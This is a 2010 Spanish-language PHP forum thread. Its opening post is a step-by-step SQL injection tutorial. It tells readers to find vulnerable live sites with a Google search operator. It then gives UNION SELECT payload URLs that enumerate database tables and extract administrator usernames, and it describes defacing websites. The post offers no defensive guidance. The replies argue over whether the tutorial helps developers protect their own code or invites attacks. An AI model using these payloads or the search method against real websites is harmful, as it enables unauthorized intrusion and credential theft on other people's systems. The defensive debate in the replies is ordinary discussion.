Autor Tema: [TUTORIAL] SQL Injection  (Leído 3551 veces)

Desconectado Siquillote

  • PHPero Master
  • ******
  • Mensajes: 4.229
  • Karma: 179
  • Sexo: Masculino
    • Ver Perfil
[TUTORIAL] SQL Injection
« en: 31 de Mayo de 2010, 21:11:31 pm »

Hola, estaba aquí viendo los mensajes y un usuario me pidió ayuda y utilizé el buscador; extrañamente, vi muchos post sobre como hacer una sql
injection y bueno, aquí os dejo un manual que iré modificando a lo largo del tiempo por que es un poquito largo pero no infinito.

Para empezar, debemos tener alguna mínima idea sobre el lenguaje SQL, si no tienes ni idea, no sigas :L. Si sabes algo, solo es cuestión de leer y
ponerse a la practica

¿Que es SQL Injection?
nyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

La inyección SQL es un problema de seguridad informática que debe ser tomado en cuenta por el programador para prevenirlo. Un programa hecho con descuido, displicencia, o con ignorancia sobre el problema, podrá ser vulnerable y la seguridad del sistema puede quedar ciertamente comprometida. Esto puede suceder tanto en programas ejecutándose en com*****dores de escritorio, como en páginas Web, ya que éstas pueden funcionar mediante programas ejecutándose en el servidor que las aloja.

La vulnerabilidad puede ocurrir cuando un programa "arma" descuidadamente una sentencia SQL, con parámetros dados por el usuario, para luego hacer una consulta a una base de datos. Dentro de los parámetros dados por el usuario podría venir el código SQL inyectado.

Al ejecutarse esa consulta por la base de datos, el código SQL inyectado también se ejecutará y podría hacer un sinnúmero de cosas, como insertar registros, modificar o eliminar datos, autorizar accesos e, incluso, ejecutar código malicioso en el com*****dor. (Fuente Wikipedia)

¿Que es Deface?
El Deface / Defacing / Defacement es la modificación de una página web sin autorización del dueño de la misma.

La mayoria de las veces logran defacear un sitio consiguiendo acceso mediante alguna vulnerabilidad que el programador haya dejado en el mismo.
También por passwords debiles, problemas en el FTP, etc

¡Empezamos!

1- Buscamos paginas webs que puedan ser vulnerables
Para ello, solo debemos poner en google : inurl:index.php?id= (En vez de index suele frecuentar article, buy, category... ect.)
2- Comprobamos si es vulnerable o no
Despues de los resultados obtenidos por google, debemos cambiar el numero (Ejemplo: 1) por el signo '... De tal forma
que quedará de la siguiente manera:
Citar
http://www.URL.com/index.php?id='
Espero que me esteis siguiendo hasta aquí. Despues de haber colocado esa coma, si vemos esto :

es que la pagina es vulnerable a ataques SQL
3-Primeras consultas
Ahora debemos sustituir la ' por : -1+union+all+select+0 de tal manera que quedaría así:
Citar
http://www.URL.com/index.php?id=-1+union+all+select+0

¡Pero si no sale nada!. Tranqui, como ves hay un 0 en la barra que hemos puesto pues solo debes
seguir poniendo numero de esta forma : 0,1,2,3.... HASTA que nos tire en la pantalla unos numeros como en esta imagen:


Yo por ejemplo voy a escoger el 5 (Recuerda que a ti te pueden salir otros diferentes) y ahora vamos a volver a modificar la barra de
direcciones y vamos a sumarle algo a lo que teniamos antes, es decir, fijate en el ejemplo:

Citar
http://www.URL.com/index.php?id=-1+union+all+select+0,1,2,3,4,5,6,7,8
Yo lo pongo hasta el 8 por que es justo en ese numero cuando me saltaron los numeros. Tu pones el tuyo correspondiente.

Una vez tengamos esa barra de direcciones, debemos modificarla por la siguiente URL:

Citar
http://www.URL.com/index.php?id=-1+union+all+select+0,1,2,3,4,table_name,6,7,8+from+information_schema.tables--
He cambiado el 5 por table_name por que si recuerdas, elegí el 5 que estaba en los numeros que nos salieron
4- Visualizamos las tablas
Si entramos a la URL final del paso 3, en pantalla debería mostrarse: CHARACTER_SETS. Si te sale es que has hecho todo correctamente
hasta ahora. Esa sería la primera tabla. Ahora para ver las demás tablas, debemos poner en la URL lo siguiente: +limit+1,1--.

Citar
http://www.URL.com/index.php?id=-1+union+all+select+0,1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit+1,1--
De esta forma va a quedar así nuestra URL, fijate muy bien en los pequeños detalles.

Ahora solo debes cambiar el primer uno de +limit+1,1-- por el siguiente, es decir , asi: +limit+2,1-- y así continuamente HASTA que
veamos una tabla sospechosa que pueda ser la de los usuarios o administradores. Si te sale alguna de estas tablas : PROFILING,USER_PRIVILEGES,VIEWS., pasa de ellas, no sirrven para nada pero llaman la atencion

5- Encontramos la tabla que puede ser la de los usuarios
Una vez que encontremos la tabla que creemos que puede ser la de los administradores, usuarios, ect.. pasamos al ataque. Si no lo tienes claro,
este es un ejemplo de lo que debe salir, pero no tiene por que ser administradores.:


Ahora que ya tenemos el nombre de la tabla , que vuelvo a repetir que puede que no sea administradores si no otro, procedemos a hacer otros
cambios en la barra de direcciones. Debemos modificar information_schema.tables+limit+numeroquetesalio,1-- por el nombre de la tabla:

Citar
http://www.URL.com/index.php?id=-1+union+all+select+0,1,2,3,4,table_name,6,7,8+from+Administradores

Una vez llegado hasta aquí, hay que modificar table_name por el nombre de la columna de los usuarios, por ejemplo: nombre o usuarios o
usuario o admin... puede ser muchisimas cosas. Pero la cosa quedaría así:

Citar
http://www.URL.com/index.php?id=-1+union+all+select+0,1,2,3,4,usuarios,6,7,8+from+Administradores

Si usuarios es la columna de la tabla administradores, nos debería tirar en la pantalla el nombre del administrador o de un usuarios. Mira la imagen:



¡Luego continuo que esto cansa....! ¡¡Material edducativo!!
« Última modificación: 01 de Junio de 2010, 20:02:54 pm por Siquillote »

#Fdo. Physlet

Comunidad PHPeros

[TUTORIAL] SQL Injection
« en: 31 de Mayo de 2010, 21:11:31 pm »

Desconectado Siquillote

  • PHPero Master
  • ******
  • Mensajes: 4.229
  • Karma: 179
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #1 en: 01 de Junio de 2010, 11:36:28 am »

¿Alguna duda?

#Fdo. Physlet

Desconectado Focux

  • PHPero Master
  • ******
  • Mensajes: 1.010
  • Karma: 22
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #2 en: 01 de Junio de 2010, 14:38:54 pm »
¿Qué esto tiene que ver con programación?
Mixtiqueros.net

<?PHP
define
(_miNombre, &#39;Focux&#39;);
if(_miNombre == &#39;Focux&#39;): printf(&#39;%s es un programador avanzado&#39;, _miNombre); else: printf(&#39;Tu no eres %s&#39;, _miNombre); endif;
?>

Desconectado Siquillote

  • PHPero Master
  • ******
  • Mensajes: 4.229
  • Karma: 179
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #3 en: 01 de Junio de 2010, 14:49:42 pm »
¿Qué esto tiene que ver con programación?

Lo he puesto aqui por que no sabia donde ponerlo

#Fdo. Physlet

Desconectado W1P3

  • PHPer@
  • **
  • Mensajes: 84
  • Karma: 12
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #4 en: 01 de Junio de 2010, 19:43:47 pm »
No era que cualquier tipo de Hackin/Defecating está prohibido en el foro..?

Desconectado Siquillote

  • PHPero Master
  • ******
  • Mensajes: 4.229
  • Karma: 179
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #5 en: 01 de Junio de 2010, 20:02:05 pm »

Es un tutorial educativo :$

#Fdo. Physlet

Desconectado westwest

  • PHPero Master
  • ******
  • Mensajes: 2.837
  • Karma: 104
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #6 en: 01 de Junio de 2010, 20:08:28 pm »
pues naveda no puso pegas a un tutorial de XSS que ví por ahí...

Desconectado SoyJoaquin.

  • PHPero Master
  • ******
  • Mensajes: 2.737
  • Karma: 131
  • Sexo: Masculino
  • ส้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้ส้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้ Problem?
    • Ver Perfil
    • IsoMap
Re:[TUTORIAL] SQL Injection
« Respuesta #7 en: 01 de Junio de 2010, 20:43:47 pm »
Si nosotros somos un foro de programación... ¿Esto no iria en contra de las normas?

Es decir.. iria en contra de nuestros propósitos en este foro...
Si educas a la gente para hacer esto.. seria un caos u.u

Yo en lo particular pido cierre del tema y borrar su contenido.
Esto no es un foro hacking.
Twitter: @JoakoM010



Desconectado Caobiita!

  • PHPer@ Fijo
  • ***
  • Mensajes: 214
  • Karma: 5
  • Sexo: Masculino
  • ¡Aprendiendo!
    • Ver Perfil
    • Próximamente
Re:[TUTORIAL] SQL Injection
« Respuesta #8 en: 01 de Junio de 2010, 20:49:50 pm »
u.u Pero... ¿Estamos locos ahora o que? Ahora publican tutoriales para ehar a bajo futuros proyectos que nosotros hagamos con sql u.u...

Siquillote, me decepcionastes y mucho.

Pido que borren contenido y que cierren tema.

¿Un foro de programación o un foro de echar a bajo nuestros propios proyectos?

CIERREN TEMA Y BORREN CONTENIDO.
En construcción.

Desconectado westwest

  • PHPero Master
  • ******
  • Mensajes: 2.837
  • Karma: 104
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #9 en: 01 de Junio de 2010, 20:51:01 pm »
Si sois tan malos programadores como para que esto os heche abajo vuestrs proyectos... pues vaya. A mi me parece que auda a conocer qué nos puede pasar, y a probarlo para ver si somos hackeables... -.-

Desconectado CarlosRdrz

  • Moderador Global
  • PHPero Master
  • *****
  • Mensajes: 2.505
  • Karma: 131
  • Sexo: Masculino
  • A.k.a. TLX
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #10 en: 01 de Junio de 2010, 20:51:05 pm »
Todo lo contrario.
Esta muy relacionado con la programación.

De hecho esta clase de cosas te ayudan a comprender mejor como funciona el código y como funcionan los programas, y además también te enseña formas de evitar que tu pagina web sea vulnerable y demás. Es decir, no veáis estos tutoriales como: "Como atacar una página" sino "Como funciona un ataque a una página" y sabiendo el cómo, se sabe el cómo solucionarlo.

Estas cosas están muy relacionadas con nosotros y nuestros propósitos, y para nada es un tema que vaya en contra de la temática del foro, sino mas bien lo contrario. Particularmente a mi me interesa mucho este tema y es una parte muy interesante de la programación, pero ya conocía el SQL Inject.

El problema, Siquillote, es que no te esfuerzas en explicarlo. Estas exponiendo el CÓMO, pero no el POR QUÉ ni tampoco indicas que es lo que hacen internamente en el código esas directrices. Espero que lo sepas explicar todo bien, si no carece de utilidad.

Saludos
La dedicación de mi respuesta sera directamente proporcional a la dedicación de tu pregunta.
Hacer códigos que entiendan las máquinas es fácil, lo difícil y realmente útil es hacer códigos que entiendan las personas.
http://twitter.com/CarlosRdrz
http://www.carlosrdrz.es

Desconectado Warlox

  • Moderadores PHP
  • PHPero Master
  • ****
  • Mensajes: 1.278
  • Karma: 77
  • Sexo: Masculino
  • A veces hay que aprender a correr antes de caminar
    • Ver Perfil
    • Página personal
Re:[TUTORIAL] SQL Injection
« Respuesta #11 en: 02 de Junio de 2010, 04:19:43 am »
Es bueno entender la SQLi (Inyección SQL) para saber defenderme de ella ;)

Ya sabía todo eso, pero te doy un K+ por la iniciativa, Siqui.
Saludos.
- Moderador de PHP


Desconectado Siquillote

  • PHPero Master
  • ******
  • Mensajes: 4.229
  • Karma: 179
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #12 en: 02 de Junio de 2010, 11:13:52 am »
Es bueno entender la SQLi (Inyección SQL) para saber defenderme de ella ;)

Ya sabía todo eso, pero te doy un K+ por la iniciativa, Siqui.
Saludos.

Gracias :P
« Última modificación: 03 de Junio de 2010, 00:43:07 am por TLX »

#Fdo. Physlet

Desconectado HiddenHlF

  • PHPero Avanzado
  • ****
  • Mensajes: 285
  • Karma: 7
  • Sexo: Masculino
  • The Hidden
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #13 en: 02 de Junio de 2010, 19:51:56 pm »
Opino igual que TLX, este tutorial mas que malo es bueno ya que nos ayuda a aprender a defendernos de posibles ataques .. he visto un comentario (no me apetece buscar de quien.) que decía que echará por tierra nuestros scripts... mas bien creo que nos los mejorará ya que yo mismo pedí en uno que saqué hace tiempo que me lo intentasen hackear y testear para probar su seguridad... y si no sabemos del tema y lo ponemos en nuestra web nos puede hackear cualquiera.. así que resumiendo me parece un buen tutorial ya que si sabemos como atacar sabremos como defendernos.

K+ para Siqui.

Saludos

Desconectado javipilo

  • PHPero Experto
  • *****
  • Mensajes: 975
  • Karma: 31
  • Sexo: Masculino
    • Ver Perfil
Re:[TUTORIAL] SQL Injection
« Respuesta #14 en: 04 de Junio de 2010, 17:52:01 pm »
Contigo TLX, llevas mucha razón esto nos hace pensar, para que en un futuro podamos fortalezer la seguridad
de nuestro proyecto y yo apoyo este tutorial.

Saludos, y si tiene que ver con PHP y MySQL.